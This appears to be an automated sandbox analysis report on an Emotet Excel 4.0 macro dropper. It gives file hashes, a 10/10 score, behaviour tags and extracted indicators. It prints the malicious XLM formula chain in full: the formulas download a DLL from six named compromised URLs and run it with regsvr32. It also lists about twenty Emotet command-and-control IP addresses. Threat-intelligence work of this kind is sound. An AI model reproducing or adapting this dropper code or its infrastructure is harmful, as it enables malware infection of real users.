Overview

overview

10

Static

static

10

rruyghwt.xlsm

windows7_x64

10

rruyghwt.xlsm

windows10-2004_x64

10

Sharing

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General

  • Target
    rruyghwt
  • Size 50KB
  • Sample220522-gd67rabfen
  • SHA256 894658b992050ab6d7ee061f083a48264ce56c1b4fbc5ac87c142765405a47f7
  • MD5 SHA1 SHA512
Score
10/10
emotetepoch4bankermacrotrojanxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

  • http://harleyqueretaro.com/renew2019/Back2016-12-22/cv/data/RjuiFMp4Fsp/

  • http://hoatuoiso1.com/replace/fVea/

  • https://rumkeke.com/wp-admin/A8/

  • https://www.restaurantgaig.com/wp-includes/HLDoANj/

  • http://www.grandfurniture.com/thegrandbrands/eGd55tEm9qkPNOhViP/

  • http://www.hiway91.com/wp-content/Y/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://harleyqueretaro.com/renew2019/Back2016-12-22/cv/data/RjuiFMp4Fsp/","..\rulm.dll",0,0) =IF('EGSBBB'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hoatuoiso1.com/replace/fVea/","..\rulm.dll",0,0)) =IF('EGSBBB'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rumkeke.com/wp-admin/A8/","..\rulm.dll",0,0)) =IF('EGSBBB'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.restaurantgaig.com/wp-includes/HLDoANj/","..\rulm.dll",0,0)) =IF('EGSBBB'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.grandfurniture.com/thegrandbrands/eGd55tEm9qkPNOhViP/","..\rulm.dll",0,0)) =IF('EGSBBB'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.hiway91.com/wp-content/Y/","..\rulm.dll",0,0)) =IF('EGSBBB'!D22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rulm.dll") =RETURN()

Extracted

Language

  • xlm4.0

Source
URLs
  • xlm40.dropper

    http://harleyqueretaro.com/renew2019/Back2016-12-22/cv/data/RjuiFMp4Fsp/

Extracted

Family

  • emotet

Botnet

  • Epoch4

C2

  • 68.183.94.239:80

  • 104.131.11.205:443

  • 138.197.109.175:8080

  • 187.84.80.182:443

  • 79.143.187.147:443

  • 216.158.226.206:443

  • 167.99.115.35:8080

  • 212.24.98.99:8080

  • 1.234.21.73:7080

  • 206.189.28.199:8080

  • 158.69.222.101:443

  • 164.68.99.3:8080

  • 188.44.20.25:443

  • 185.157.82.211:8080

  • 134.122.66.193:8080

  • 196.218.30.83:443

  • 72.15.201.15:8080

  • 5.9.116.246:8080

  • 176.104.106.96:8080

  • 153.126.146.25:7080

eck1.plain
ecs1.plain

Targets

    • Target
      rruyghwt
    • Size 50KB
    • SHA256 894658b992050ab6d7ee061f083a48264ce56c1b4fbc5ac87c142765405a47f7
    • MD5 SHA1 SHA512
    Score
    10/10
    emotetepoch4bankertrojan

    • Emotet

      Emotet is a trojan that is primarily spread through spam emails.

      trojanbankeremotet

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Downloads MZ/PE file

    • Loads dropped DLL

    • Drops file in System32 directory

    behavioral1behavioral2

MITRE ATT&CK Enterprise v6

Tasks